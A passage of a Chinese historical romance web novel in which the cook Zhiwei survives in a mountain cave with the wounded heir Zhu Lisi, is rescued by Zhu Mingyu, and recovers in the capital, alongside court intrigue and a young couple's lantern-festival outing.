知微把祝隶稷挪到最避风的角落,用干草垫在他身下,脱下自己那件还算厚实的粗布外袄,严严实实盖在他身上。
“我去找点水和吃的,你……”知微看着那张在昏暗中显得异常脆弱的脸,“老实待着,别乱动找死。”
知微有些尴尬,按道理,她不该对上司兼伤员说出那种话,可祝隶稷一副“我看透你”的表情,当真令人生厌。
世事洞明,得是多大的学问,他怎么看得清。
祝隶稷毫无反应,胸膛极其微弱地起伏着,抓住知微的手。
“你说得对。”他承认道。
“我还不饿。”祝隶稷顿了顿,从兜里掏出一个水囊,“外边风大,你小心些。”
“还有,若是能活着出去,你不必再隐姓埋名,你救了我,再不会有人随意为难你。”
好大的口气,就凭他一个世子?
知微有些不明所以,但接过水囊,点了点头。
钻出石洞,冰冷的山风像刀子一样割在脸上,灌进单薄的里衣,冻得知微一个激灵。
她回头望了一眼那黑黢黢的洞口,有些恍惚,还是深一脚浅一脚地往有水流声的方向摸去。
败叶在脚下发出窸窣的碎裂声,每一声都让知微心惊肉跳。
不知走了多久,她终于找见一条窄窄的山溪。她灌满水囊,又循着月光仔细搜寻,摘得了几颗野果。
20. 明煜!
回到洞口,天光又亮了些,灰蒙蒙的。
祝隶稷还是那个姿势躺着,盖着她的袄子,脸色灰败,嘴唇干裂得起了皮,好在还有气,是个活人。
听到知微的动静,祝隶稷睁眼,接下知微手里的食物和水。
“吃吧,世子爷。”知微低声嘟囔,“毒不死你,也饿不死你。回去记得赔我袄子。”
祝隶稷咬了口野果,咽下发酸的部分,破天荒道:“谢谢。”
时间在死寂和寒冷中缓慢流逝。
知微抱着膝盖,盯着洞口不改黯淡的天色。祝隶稷的眼皮越来越沉,就在意识快要坠入黑暗时,上臂突然被人推搡。
“不能睡。”知微侧着头提醒。
她知道祝隶稷很痛苦,连身体都疼得要蜷缩起来,祝隶稷已经一天多没合过眼了,很是疲惫,知微却不敢让他入眠。
她怕祝隶稷醒不过来。
“我们聊些什么吧。”知微提议。
祝隶稷望向知微,不说话,显然是等着她开启话题。知微好一阵沉默,思来想去,决定从自己聊起。
知微讲了自己在岭南所经历的一切。如何白手起家、如何在菜市场称王称霸、又是如何解释到关爱自己的近邻。
她絮絮叨叨地讲述,说了欢快,也说过悲伤,聊到秦玉致时,联想到晏家被灭门的惨状,知微的心头仍是抽痛。
她虽说是恩怨分明,敢爱敢恨,但也从来不想真正伤害别人。晏家的事是个意外,她多少有些难受。
祝隶稷却不然,他只是抬了抬眉,道:“这是他们的宿命。”
“百足之虫,死而不僵,但终归是死了。不会自强,只想着攀附强者,早晚也会被反噬,你的作为无非是加快了进程。”祝隶稷语气淡淡,尾音甚至还有些鄙夷。
知微点头。说起家人,她突然便想起了祝隶稷昏睡时的喃喃,父亲、母亲、要回家……她原以为祝隶稷是铁石心肠,没料到对方也有如此脆弱的一面。
仰起头,略带好奇,知微问:“那大人您呢。”
你的家人、朋友、过去,什么都可以!知微像小猫一样,闪着一双水汪的眼睛靠过去,眼底写着赤裸裸几个大字——“我想了解你”。
祝隶稷提起一根手指,戳着知微的脑门,提醒她靠得太近。
“我忘了。”祝隶稷答道。
骗人!知微撇嘴。
“但我小时候养过一只狗。”祝隶稷又道,“你倒是让我想起了它。”
说她像狗,真是谢谢这没必要的美言!知微拼命憋住想翻白眼的欲望。
祝隶稷笑了笑,补充:“我是说,忠诚。”
“我很小的时候捡回来的,那是个冬天,我看它在街上冻得可怜,给它掰了半个馒头,结果它就屁颠屁颠着赖上我了。”祝隶稷回忆,“我养了有三年吧,从只有巴掌大到后来一个屁垫都睡不下。”
“那你很爱它咯。”知微打量着祝隶稷的神色,很平静,但又有一种怀念。知微没在他那见过几回这样的好表情。
可祝隶稷摇头,道:“只是习惯罢了。”
“京城的冬天很冷,它喜欢靠在我脚边取暖,我也当它是个热汤婆子。”
嘴硬什么啊。
知微继续问:“那它现在有多大了,什么品种?”之前无意听营里说过,江覃同祝隶稷自幼是玩伴,江覃的年纪已近不惑,祝隶稷怕是也不得年轻。
如此推算的话,那小狗估摸也成老狗了吧。
“它现在莫不是被你放在宅子中,安享晚年?”知微臆断。
做狗真好,遇到个好主人,汪汪几句,便享尽荣华富贵。哪像做人啊,上辈子造了孽,这辈子还要低声下气地讨生活。
惆怅至极。
祝隶稷的眉头却紧了几分。他重新拉开和知微的距离,缓缓道:“它死了。”
“我娇惯纵了它,见到人也没分寸,惊着了贵人,被打死了。”
祝隶稷眼睫翻动,灰败的脸上投下两小片阴影。
“你还有事儿吗。”他冷冷道。
知微隐约感觉到有什么东西又阻隔在了俩人的中间,空气重又凝固,彼此相望无言。
“先休息吧。”知微叹。
——
天,不知何时发亮。
刺目的阳光惹得知微不自觉眯眼,清晨的山野寂静,只有风声和鸟鸣。
昨夜打的水已饮尽,祝隶稷烧退后便一直昏睡。
知微决意出洞再打些水,她顺着昨天的记忆往溪边走,刚绕过一块巨大的山岩,耳朵里就捕捉到一丝异响。
声响巨大,像是有什么东西撞击了岩石。
知微一个激灵,瞬间扑倒在地,滚进旁边的枯草丛里。
追兵?这么快便搜过来了?
屏住呼吸,知微小心地从草丛缝隙窥视。
只见下方不远处,一个穿着破旧皮甲的身影正背对着她,蹲在溪边一块大石头上,手里拿着一块棱角锋利的燧石,正用力敲砸着什么。
看那身破旧的皮甲样式,不像叛军,倒像是……山匪?
知微心头一紧,被追杀的经历仿在昨日。就在这时,那人似乎敲好了东西,直起身,有阳光落在他侧脸上。
浓眉,方脸,下颌线条硬朗,眉毛有一道寸许长的旧疤。这脸,知微脑子里“嗡”了一声,是在蜀郡边缘突袭过迎亲队列的“断眉”。
他怎么会在这儿?岭南、蜀郡、军营……难不成,蜀郡的叛乱有着王家的手笔!?
这样想来一切都说得通了。为何“断眉”要破坏迎亲,为何要狠下死守,他正是传言中与王家狼狈为奸的土匪头目!
所以,此番“断眉”出现在这儿,目的怕也不单纯,大抵是在为了确保暗杀成功,敌袭万无一失。
想到这儿,知微咬牙,浑身都不由得打颤。她此刻进也不是,退也不是,只能先躲在草丛里静观其变。
“断眉”显然没发现她。
他敲打完毕,拿起那块被他用燧石敲出凹痕的薄石片查看,又弯腰在溪边摸索着出一块不大不小的圆石。随着“咔!”一声脆响,圆石裂成了几瓣。
“断眉”捡起其中一块棱角锋利的石片,在手里掂了掂,满意地笑了。
他又在原地等了等,嘴里不知在念叨着什么。好一阵,他才拿着石斧转身,钻进了溪水对岸更茂密的林子里。
知微趴在草丛里,心跳扑通。她压下翻腾的思绪,快速跑到溪边灌满水囊,悻悻然离开。
回到石洞,祝隶稷已经醒了,靠坐在洞壁休息。见知微进来,他的目光在她沾满草屑泥污的里衣上停留了一瞬。
“你去哪了?”声音嘶哑,但精神了许多,那股熟悉的、冻死人的腔调又回来了。
知微不敢说刚才的际遇,只把水囊递过去,敷衍:“找水,省着点喝。”
祝隶稷接过,仰头灌了几口。知微很快调整好思绪,也饮过几口水。
“我们必须要抓紧离开。”知微神情肃穆,“外头有
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追兵。”
“你的伤……你行不行?”知微忍不住问。
“死不了。”祝隶稷打断她,语气不容置疑,“趁叛军没搜到这里,必须离开。”
知微点头,上前架住祝隶稷完好的右臂,用力把他撑起来。大半重量压在她身上,沉得像块石头,她的脚步虚浮地踉跄了一下,还是稳稳撑住祝隶稷。
山路崎岖,布满碎石和盘虬的树根。
知微搀扶着祝隶稷,每一步都走得异常艰难。她不好受,祝隶稷亦然,连话都讲不出,时不时低哼出声,汗水滴了知微满肩。
“歇……歇会儿吧。”知微喘着粗气,感觉自己的腿已经开始不听使唤。这样走下去,没等叛军找到,两人会先精疲力竭。
闻言,祝隶稷收回贴在知微身上的手,反靠在旁边的树干。
两人按着这个模式边走边停,不知过了多久,日头渐渐偏西,林间的光线越发昏暗。
饥饿感像无数小虫啃噬着知微的胃壁,祝隶稷的体力显然也快到极限,脚步发沉,呼吸也越来越重。
难道,我的命便该绝于此吗。
视线模糊着,耳鸣声仿佛死亡的前奏曲,知微陷入绝望。
突然,前方隐约传来一阵沉闷而急促的马蹄声,如同密集的鼓点,敲击在布满落叶的山地上,越来越近,越来越近!
知微意识已经迟缓,祝隶稷猛地将她拽到一棵巨大的古树后面。
他的身体绷紧,完好的右手下意识摸向腰间——那里空空如也,随身带匕首早不知掉在何处了。
知微的心瞬间提到了嗓子眼,攥紧了怀里收好的银钗,手心全是冷汗。追兵?还是“断眉”的同伙?
马蹄声如雷,轰然逼近。林叶被粗暴地分开,一匹枣红色、神骏异常的战马从林子中窜出。
马上之人一身锃亮的重甲,猩红的披风在疾驰中猎猎作响。
知微定睛一看,那身重甲……那个将士,虽然头盔遮住了大半张脸,只露出线条稍显圆钝的下颌,可她认得的,不会认错的!
明煜,是祝明煜,他还活着!!!
快马冲到近前,一声长嘶,前蹄高高扬起。
马背上的祝明煜猛地勒住缰绳,利落地翻身下马。
“兄长!”祝明煜单膝跪地,声音浑厚低沉,带着急切和如释重负的激动。他伸手,摘下那顶遮住面容的沉重头盔。
头盔下,是知微曾在梦中思念过无数次的脸
——麦色的皮肤,硕大的眼瞳,此刻正焦急地锁定在二人身上,充满了毫不掩饰的关切和担忧。
果真是祝明煜!
那张曾在岭南灶台边对知微傻笑、帮她劈柴挑水、被她揪着耳朵骂“憨货”的脸,此刻被风霜尘土覆盖,眉宇间刻着陌生的冷峻和疲惫。
唯一不变的,是那双望向她时,瞬间亮起来、仿佛盛满了整个璀璨星河的眼睛。
“知微!”祝明煜唤道,也是满面不敢置信。
知微呆呆地看着他,看着祝明煜眼底深处翻涌的、几乎要溢出来的红丝,看着他铠甲上沾染的暗沉污迹和几道新鲜的刀痕。
走散后的担忧、军营里的不公、山洞里的寒冷、饥饿、血腥味,还有漫长一夜里几乎被黑暗吞噬的恐惧……所有强撑的硬壳在这一刻轰然碎裂。
知微的鼻子一酸,滚烫的泪毫无征兆地涌上眼眶,视线瞬间模糊。
“呜……”破碎的呜咽声刚从嘴边发出,知微的心脏猛地一冲,整个人轰然倒下。
21. 巨变
晏知微断断续续昏了月余。
起初只是低烧,很快便退了,可是接踵而来的是风寒,低烧与高热持续交替,意识清醒的时刻没有多少。
像是沉在冰冷浑浊的河底,知微费力地向上挣扎。她的眼皮重逾千斤,每一次试图掀开,都被刺目的白光和钝痛的头颅逼退。
耳畔先是嗡嗡的鸣响,渐渐滤出模糊的人声,带着小心翼翼的啜泣。
“阿姐、阿姐,你醒醒……”早已分不清时刻,在又一场高热退下后,晏知微的病情有了好转。
是少昭的声音。知微意识回笼。
一股带着淡淡药草味的皂角气息钻入鼻腔,不是军营里粗粝的汗味和血腥气。
知微猛地吸了一口气,肺部一阵撕扯的疼痛,终于迫使她睁开了眼。
视线模糊了好一阵才聚焦。头顶是素雅的青纱帐幔,身下是触感柔软细腻的锦被,空气里还弥漫着清冽的檀香和一丝若有似无的甜。
知微后知后觉,这不是军营的硬板床。
“少昭。”知微哑道。
“阿姐!你醒了!太好了!”少昭的小脸猛地凑到知微眼前,小姑娘瘦了很多,原本还有些圆润的脸颊凹陷下去,眼下的青黑也十分明显。
少昭穿着鹅黄色的细布襦裙,头发也规规矩矩梳成了双丫髻,脸颊上还挂着未干的泪。
少昭紧紧攥住知微的手,力道大得让知微蹙眉。
“这是,哪儿?”知微环顾四周。房间不大,陈设却极为雅致,一桌一椅都透着低调的讲究,窗棂雕着精细的花鸟,窗外可见几竿翠竹摇曳。
小奢华,却很有生活气息,不像客栈,更非皇宫。
“是京城的祝府!少帅……哦不,太子爷的别院。”少昭语速飞快,带着劫后余生的激动,“阿姐昏睡了一个多月,这期间前线大捷,济平侯爷也就是现在的皇帝陛下,平定了叛乱,马上就要登基了。”
“我们是跟着太子爷的车驾回京的,你一直昏迷不醒,太子爷就把你安置在这里了……”
一个多月?登基?知微的脑子像塞满了浆糊,被巨大的信息冲击着。
她只记得失足坠崖后祝隶稷重伤,他们在山洞里熬过冰冷绝望的一夜,然后是祝明煜,他在危机中策马而来……
“你祝大哥呢?”知微猛地撑起身子,牵动全身筋骨一阵剧痛,眼前发黑。
“少将军他很好。只是前线刚定,军务繁重,他暂时脱不开身,只得在晚上结束后来守着你一会儿。”少昭及时捞住知微的腰。
“知微姐,你不知道,叛军突袭那天多亏了孙为,没想到他平时一副不正经样,关键时刻倒还挺顶用,组织伙房乱成一团的伙房烧油御敌,只可惜,张疱正他、他为了护住最后一点存粮,被敌军……”少昭的声音哽住了,眼圈红了红。
张兴中……死了?
知微的心一沉,那个刚入伙房时与她争执,又在粮食投毒案中对她另眼相看的张兴中,死了?
知微还记得他在“金玉满堂饼”香气里落寞走开的身影,军营里为数不多让她觉得有烟火气的人,便这么没了。
一股难以言喻的怅惘和悲凉涌上心头,冲淡了初醒的茫然。知微沉默地垂下眼,指尖无意识地捻着被角。
少昭吸了吸鼻子,努力平复情绪,继续讲述:“是孙为,他冲进火里把我拽出来的。为了救我,他、他胳膊都烫伤了……”少女的声音越说越低,手指绞着衣角,眼神飘忽,脸颊染上不自然的红晕。
知微看在眼里,心中了然,轻轻拍了拍她的手背。
“你没事便好。”知微安抚道。
就在这时,房门被无声地推开。
气质温婉高雅的年轻妇人牵着一个小男孩走了进来。
妇人身着月白色的锦缎长裙,乌发挽起,只簪了一支素雅的玉簪。她眉如墨画,神若秋水,仿佛自带一股能抚平躁动的安宁。
正是这份沉静的高雅,让知微瞬间意识到,这绝非寻常侍女。
妇人身后的小男孩约莫六七岁,穿着裁剪合体的宝蓝色锦缎小袄,颈间挂着长命金锁,一张小脸生得精准如玉琢,想来父母的容貌也是一等一的出挑。
但他太瘦了,背脊有些驼,脸色也是一种缺乏阳光的、近乎透明的白。
男孩小脸绷得紧紧的,带着明显的不情愿,小嘴撅得能挂油瓶。他手里紧紧攥着一只小小的布老虎,眼睛却死死盯着身侧一个端着托盘的嬷嬷。
托盘上,是一碗碧色的蔬菜羹。
“少昭姑娘,晏娘子醒了?真是太好了。”妇人声音温润,她目光落在知微脸上,带着善意的关切和一丝恰到好处的疏离。
“妾身程玊芝,是这宅子的后院之主,听我夫君说晏娘子是为军中立下大功的能人,一路辛苦,又逢大难,身子可好些了?”程玊芝微微颔首,仪态无可挑剔。
后宅之主,是谁家的夫人?
知微面露不解,程玊芝似是看出知微的迷惑,又开口,道:“夫君正是……”
“娘,我不要吃羹汤,你叫蒋嬷嬷拿远些!”程玊芝身后的小男孩叫嚷,打断知微二人的交谈。程玊芝转过身,目光投向身边的小男孩,眼中流露出温柔又无奈的宠溺。
“晟儿,你又胡闹。之前交给你的礼仪去哪儿了,此处还有病号。”
程玊芝又同知微解释:“这是犬子,晟儿,问晏姐姐好。”
祝晟飞快地瞟了知微一眼,小脑袋扭得更偏了,闷声闷气地嘟囔了一句什么,听不清,但抗拒之意明显。
他的注意力很快又回到那碗蔬菜羹上,小眉头拧成疙瘩。
蒋姓嬷嬷将托盘放在床边小几上,小心翼翼地劝道:“小公子,该用膳了,这菜羹是厨房特意为您熬的……”
“不要!绿绿的!难吃!”祝晟猛地甩开嬷嬷放在自己头上的手,身子往后缩。
见状,程玊芝秀眉微蹙,她轻叹一声,接过碗,亲自舀了一勺递到祝晟嘴边,她柔声哄道:“晟儿乖,吃了青菜才能长得高,像爹爹一样威武。”
“你不是最崇拜爹爹了吗。”程玊芝又劝。
“可是爹爹对我……”祝晟顿了顿,捂住耳朵,坚持道,“不吃不吃!苦的!”
祝晟紧闭着嘴,小脸憋得通红,眼看就要哭出来。
程玊芝也显得有些无措。
看着这对母子的僵持,尤其是祝晟那副如临大敌、视蔬菜如毒药的模样,知微骨子里那股属于厨子的“职业强迫”竟不合时宜地冒了出来。
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她清了清沙哑的嗓子,试探着开口:“夫人,小公子可是觉得这菜羹发苦?”
程玊芝抬眼看来,眼中带着一丝寻求帮助的微光:“正是。这孩子自幼便挑嘴,尤其不喜青菜,总觉得有股子青草气,嫌苦。”
“膳房不知换了多少厨子,变着花样做,增调料、改做法,炒煎煸焖都试过了,他也只肯吃一点。”程玊芝语气颓然,她已经用尽办法了,儿子仍是不买她账。
知微点头。小孩子味蕾敏感,对某些味道的抗拒在所难免。知微又多问了些祝晟的忌口与喜好,目光扫过那碗碧绿的菜羹,心思微动。
“夫人若不介意,可否让厨房取些小公子平素喜欢的胡萝卜、南瓜,再要一小块嫩豆腐,一点鸡汤底,少许盐糖,再打两个鸡蛋来?”
知微的声音还带着虚弱,但条理清晰,眼神已然恢复了惯常的专注和亮光。
“小孩子舌苔娇嫩,味蕾与大人不同,对苦味尤其敏感。强逼着吃,反而容易生厌。不如……试试‘藏’起来?”
“‘藏’起来?”程玊芝和少昭都面露好奇。
“对,”知微笑了笑,带着特有的自信。“把蔬菜本身的味道,用小公子更能接受的味道盖过去。”
“比如,胡萝卜和南瓜自带清甜,榨成浓汁混入蛋羹里,颜色金黄讨喜,味道也香甜。”
“而豆腐滑嫩,鸡汤底鲜美。是绝佳的营养辅食。”
“至于青菜……”知微顿了顿,“其实可以切得细碎些,或者只取嫩叶部分,焯水后同样榨汁,混入一点点在混合蛋液里,量少到几乎尝不出,主要起个点缀和营养的作用。”
“如此,最后蒸出来的蛋羹金黄滑嫩,带着甜鲜,若是在表面再点缀一两颗煮熟的可爱青豆,小公子或许会愿意试试?”
程玊芝听得眼中异彩连连。
这法子听起来简单,却从未有人如此细致地从孩童的感官角度去考虑过。
她立刻吩咐侍女:“照晏娘子说的,速去准备。”
厨房动作很快,东西很快备齐送进了旁边的小隔间。
知微身体虚弱,无法亲自动手,便由少昭搀扶着坐在一旁口述指挥。程玊芝也饶有兴致地在旁观看。
不多时,一碗宛如凝脂、色泽金黄的蛋羹呈现在眼前,中心点缀了几颗翠绿的豌豆后,正如知微所言,煞是可爱。
祝晟张开了小嘴,试探性地抿了一小口。
只一瞬,小家伙眼睛一亮,主动凑过去,将勺子里的蛋羹吃了个干净。
“还要!甜甜的!”祝晟笑。
程玊芝看着儿子,脸上露出了如释重负又无比欣慰的笑容。她放下碗,转向知微,郑重地行了一礼:“晏娘子,真不知该如何谢你。”
程玊芝的感激发自肺腑,眼神真诚而温暖:“你安心在此处养着,缺什么、需要什么,尽管告诉妾身或下人。妾身稍长你几岁,你若愿意可唤声姐姐,此处便也算你半个家,莫要拘束。”她的话语温柔,带着一种令人安心的力量。
知微忙道:“夫人言重了,举手之劳。”
她刚想说不必介怀,门外传来沉稳的脚步声。
伴随着一道清冷熟悉的嗓音,祝隶稷带笑现身,道:“何事如此高兴。”
22. 真相
门帘被撩开,祝隶稷迈步而入。
他依旧是一身玄色常服,眉宇间带着丝处理公务后的倦色。
祝隶稷冷冽的目光在室内扫过,先落在程玊芝身上,微微颔首,语气是知微从未听过的平和:“玊芝。”
然后,他的视线才转向床上坐着的知微,那目光深邃依旧,却似乎少了些战场上的锋锐。
好像多了点……别的什么?是探究?还是……知微一时辨不清。
程玊芝迎上前一步,脸上是温婉的笑意,自然而然地接过话头:“夫君回来了,晏娘子刚醒便帮了妾身好大的忙。”
“方才晟儿不肯吃菜羹,晏娘子出了个绝妙的主意,竟让这孩子乖乖吃下了。”她侧身,让祝隶稷看到正捧着碗吃得欢快的祝晟。
祝隶稷的目光只在儿子满足的小脸上停留一瞬,又转向程玊芝,语气似乎更缓了些:“辛苦你了。”
他抬手,极其自然地拂过程玊芝鬓边碎发,动作熟稔而亲昵。
夫君、玊芝、辛苦你了?
这几个词如同惊雷,知微像是瓜田里的猹,原本困倦的眼皮都上抬了几分。
但很快她便想通,也是,祝隶稷多大的人了,有那么七、八、九、十个孩子也正常,只不过,知微垂下眼,山洞里那短暂而脆弱的相依、指尖拂过他汗湿额发的触感,真的好像一场梦。
好险,知微想,好在她和祝隶稷都瞧不上彼此,她清清白白,身正,只在内心暗自道,日后合该离这有妇之夫远些。
——
日子在祝府的静养中飞逝。
知微的精神渐渐恢复,那股从骨子里透出的虚弱感也如潮水般退去。在这段休养期,知微得了闲,终于厘清了当下的状态。
在她昏迷期间,祝明煜领病剿灭了反贼,而他的父亲,也就是身为先帝胞弟的济平侯,在京城同样一路高歌,大败谋乱的太子势力,在众人的拥护下即将称帝。
不过这些倒是和知微无甚关系,唯一令她讶异的还是祝明煜与祝隶稷竟是同父同母的亲兄弟。
济平侯育有二子一女,眼下两个儿子一个被封了将军,一个则由世子转为太子,皆是风光无限。
才怪。
知微才不会让祝明煜爬到她头上。
说起来,祝明煜几乎每日都来探望知微,身上常带着刚从军营或工部沾染的尘土气,有时还混着泥土与汗味。
一问方知,前朝战争留下的痕迹不轻,祝明煜接手了修缮宫殿的工作,一天到晚不得空闲。
“等再过些时日,宫殿修缮完毕,父亲登基,皇城正常运作,大昭才算改天换地。”这句话,祝明煜不知在知微耳边叨了多少次。
大抵是十多次的时候,知微终于忍不住了。
她靠在窗边软榻上,等祝明煜大步走进厢房,还未张嘴,便迫不及待将手里捻着的上好参须根丢了过去,
“哟,祝将军,从前在岭南可没见你如此勤快,两眼一睁便盼着干饭,锅碗瓢盆都不知打碎了多少。”
知微觑过祝明煜,他脱了外罩的软甲,只着利落的短衫,倒是比在岭南精致了不少。
这些天来,知微总是回想起最先捡到祝明煜的事儿,他说他失忆不记得家,知微信了,可结果呢?装的!
装了小半年,即算有苦衷,这般不被人相信的滋味,知微如何理解都不好受。
“岭南那会儿,你装失忆装得挺像啊?”知微从祝明煜特地带来的上好桑葚中拨了一颗,丢还给他。
“咳。”祝明煜挠了挠头,在离榻几步远的地方站定,眼神飘忽,“我也是没有办法,我是被暗害的,要是告诉你,怕将你也扯入乱局。”
“再说,我受伤不假。”祝明煜掀开头发,头皮上还留有褐色的疤痕,“我这是真、真撞到头了,最初记忆确实也是恍惚。”
“恍惚?那和失忆还是有不少差距吧。毕竟谁会这般巧,撞个头还能将名字记得门儿清?”
知微挑眉,手指虚点着他:“老实交代,是不是怕我瞧出你是个贵人,缠着你要钱要粮?”
“不是!”祝明煜猛地抬头,急切地反驳,声音都拔高了。
“我怎么会那样想你!我、我是怕……”祝明煜顿了顿,看着知微戏谑又带着探究的眼神,像是下定了决心,声音低了下去,带着一种前所未有的认真。
“我怕你知道了我的身份,觉得麻烦,觉得我是个烫手山芋。”
“怕你觉得跟我沾上边,就再也没法过你想要的安稳日子了。你不是一直说,就想开个小馆子,清清静静地过日子吗?”
祝明煜记得知微在岭南小院里的每一个畅想,记得她经营起“晏记食肆”时眼里闪烁的光芒。
所以他怕,他怕自己背后那些复杂的身份、可能的仇家、避不开的漩涡,会成为打破她平静生活的巨浪,让她毫不犹豫地将他扫地出门。
他不想离开,至少,不是以这样的形式。
空气仿佛凝滞了一瞬。晏知微嚼桑葚的动作停了,嘴里的甜滋似乎也变了味。
有点酸,有点胀,还有点说不清道不明的感觉。
这个憨货,竟是怕毁了她那点微不足道的“清净”。
“谁说跟你沾边就一定没清净日子了?不管怎么样,坦诚相对是人与人最基本的吧,尤其是你和我的关系……”
话到了嘴边有些烫口,知微知微别开脸,看向窗外摇曳的竹影,喉头有些发紧:“算了,我原谅你了。”
“真的!”祝明煜眼中的紧张褪去,取而代之的是一种亮得惊人的光芒,嘴角控制不住地往上翘。
“那你好了以后,还开馆子吗?”他声音带着雀跃,“我打听过了,京城的东市热闹,西市清雅,南城便宜,北城贵气。”
“你想要在哪出开店?铺面银子我出!就当、就当还你岭南收留我的饭钱和住宿费。”
“或者说,你可以留在我身边,入宫,做个女官,也有机会负责膳食,做第一御厨。”
祝明煜闷着脸,似是下了不少决心才说出这话。
他眼神期待,知微却从榻上跳了起来。
“打住!”知微立刻竖起手掌,一脸嫌弃,“少来这套!想用银子砸晕我?这倒是没有问题,越多越好。”
“但入宫做女官,你还不如杀了我。”在军营做伙夫都不得轻松,更何况皇宫,知微知晓,以她
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的个性,在宫斗剧都活不过片头曲。
长命百岁,日进斗金才好。
至于钱财,勤勉致富,天降横福也不错。
“你说的,一分不少啊。”
说干就干。无聊的日子瞬间有了奔头。
手中的桑葚又恢复清甜,知微向上抛起那透亮的紫红色宝石,悬空刹那后,桑葚被猛力握紧、碾烂,汁液汹涌飞溅,溅迸在华贵的衣襟。
。
王渺枭捏碎手中的上好桑葚,轻嗅这些紫红色眼珠被碾开后的芳香。
初春时分,茶楼看台,楼下行人如织。
“京都真是,乱花迷人眼啊,路上的妇人都文雅富贵,不比蜀郡水灵的小娘子差。”王渺枭感慨。
王渺枭左手擎住一把骨扇,将眉间那块不算细长的疤痕遮住大半,他抬手,展示身上用蚕丝缝制、金丝描花的长袍,笑得很是张扬。
“还是富人的东西好用啊,这么轻的袍子,上身却全然不觉得冷,祝兄,不,太子,你这日子倒是当真让我心羡不已!”
王渺枭道:“不过我这手工打造的扇子也毫不逊色,扇柄是虎骨所制,而扇面——”
王渺枭抖了抖手中把玩之扇,扇面光洁,比丝绸柔,比玉器暖,薄如蝉翼,仔细看白净的面上还有些细红的纹路。
“人皮做的,不错吧,我家中还有几扇。”王渺枭推扇到祝隶稷面前,祝隶稷别开眼,端起茶几上的杯。
好一副温良儒雅样,谁能看出这幅禁欲的面孔下,竟然藏着份煽风谋逆之心呢?
作为伴读,离间先皇太子情,煽动野狼起义,借岭南之行除去太子的暗兵,又集天时地利,以蜀郡的烽火自引,助父亲顺利上位,载誉登基。
“殿下倒是算无遗策,尤其是蜀郡的敌袭。”王渺枭收回骨扇,“我本以为自己能救下您的,毕竟我可是照您的吩咐,在谷底等了您许久。”
“看来还是有更信任的存在啊。”
王渺枭笑了笑:“先前还有传闻,说陛下更偏爱幼弟,您太子之位岌岌可危,可现在看来,殿下终归是殿下,一只空有宠爱的幼犬,怎能胜过虎口夺食的狼王?”
王渺枭盯着祝隶稷的眼,试图从他黑色瞳孔中寻到一丝野心,可祝隶稷只是淡漠着,眼底什么都没有。
这便是大昭未来的储君。深不见底、毫无破绽的天生君王。
祝隶稷懒懒抬眼。
“答应你的,我全部做到了。”祝隶稷淡淡道,从兜中取出好些大额银票。
“你想摆脱王家家奴的低贱身份,想摆脱为人死士的宿命,这些,现在你都有了。”
“找个地方躲起来吧,但永世不得出京。需要你的时候,我会派人寻你。”
分明是夹带威胁的抛弃,换种形式的软禁。
但不知为何,骨子里的兽性惹得王渺枭浑身沸腾,比起恐惧,更多是亢奋,他知道,这才是自己梦寐效忠的主公。
“是。”王渺枭作揖。
总还会有机会的。
他只需要等待时机,他会成为君主随身的、离不开的、淬毒的刀,他会得到想要的财富与权力,也终会会见证,一代霸主的崛起。
23. 告白(上)
新帝登基大典的喧腾尚未落定,祝府别院里,日子却像被滤去了尘嚣,显出几分不合时宜的静谧。
知微外出过几趟,目的是为了考察京城适合开食肆的地方。
不调查不知道,这京城的规矩颇多,连卖盆花都有花会协作,开食肆也有着相关的行会,要遵守相关协定,倒是比岭南要复杂得多。
好在知微不急于开店,倒有的是时间仔细了解。
再说了,知微住祝府的这些天活得可是潇洒。
程玊芝待她极好,衣食住行无不妥帖,连带着对少昭也亲厚,时常叫两人过去,同祝晟一并读书玩耍。
春日和煦,倒引得知微人都犯懒了些。
这日午后,知微午睡刚醒,少昭便敲了门。
她小脸微红,眼手指绞着新做的鹅黄裙带:“阿姐,前些日子听说今日城南的灯市开张,我想去逛逛。”
知微正对镜欣赏自己那张越发圆满的脸颊,闻言眉梢一挑,道:“有这等活动,要不咱们一块。”
少昭的脸无端更红了,像染了胭脂,小声嘀咕:“可是,祝晟、小公子昨天不是缠着你要在庭院放风筝吗。”
“那是下午的安排,灯会不是在晚上吗,时间不冲突。”知微来了精神,从妆匣里翻出自己压箱底的一支桃花银簪,插在刚梳好的发髻上,“喏,好看吧。”
“阿姐,我的意思是……”眼瞧着知微便要跟自己一同出门了,少昭终于鼓起勇气,“我约了人!”
“阿姐你就别同去了。”少昭心口跳得厉害,很快红着脸出了厢门。
知微愣了愣,对着镜子指了指自己:我?电灯泡?
——
暮色四合,华灯初上,京城的夜被千万盏灯火点燃,煌煌如昼。
少昭立在约好的石桥边,望着桥下被灯火揉碎的粼粼波光,手心有些汗湿。
她总觉得背后有道视线若有若无地跟着,像蛛丝拂过,细密而不容忽视。
她下意识地回头,只见人头攒动,寻不见那视线的来源。大约是错觉吧?她深吸一口气,压下那点莫名的悸动。
怎还没……
“少昭姑娘!”孙为带着点气喘,从人堆里挤了出来。
他换下了在军营中常穿的粗布短衣,穿了件崭新的靛蓝细布长衫,身板依旧魁梧,站在娇小的少昭面前,像座小山,衬得少昭有几分局促。
“孙大哥。”少昭抬眼看他,撞进他那双眼,心头又是一阵急跳。
“等久了吧。”孙为搓了搓手,有些抱歉,“街上人多,挤过来费了点劲儿。”
“不打紧。”少昭如拨浪鼓连连摆头。
见状,孙为顿了顿,像是施法般伸出手,掌心躺着个油纸包:“刚出炉的糖炒栗子,还烫着,感觉你们女孩都喜欢甜的,来,尝尝。”
少昭接过,指尖触到他略带薄茧的掌心,飞快地缩回。
栗子的温热透过油纸传来,一直暖到心尖。
“谢谢孙大哥。”她低头剥开一颗,金黄的栗仁入口软糯香甜。
孙为像是完成了件大事,松了口气,看她:“走吧,前头有猜灯谜的,很是热闹。”
人潮推着他们前行。
孙为小心地护在少昭身侧,宽阔的肩膀替她挡开拥挤。
少昭偷偷抬眼看他绷紧的侧脸,又想起军营遇袭的那天,他从火光走来,一把将她腾空抱起——
这一动作看似帅气,却引火星飞到少昭的裤子根部,惊得孙为大叫:“少昭,你下边。”
少昭:?
眼看裤子最外边都被烧焦,孙为连忙放下少昭,试图用自己的衣摆挽救局势:“你的□□……”
孙为顿了顿,径自又恢复冷静,安抚道:“没事,萝卜、萝卜想要长得高,枝叶总得挨几刀。”
少昭:!
“我不是啊!”终于明白孙为在苦什么,少昭笑得很大声,“我是女孩。”
“只是在军营女装合适些。”少昭又道。
孙为的神色一滞,火光闪烁,他对上少昭泛红的眼眶。
少昭的眼底有光,孙为顺着少昭的视线上移,才发现不知何时乌云散开,满目星河。
——
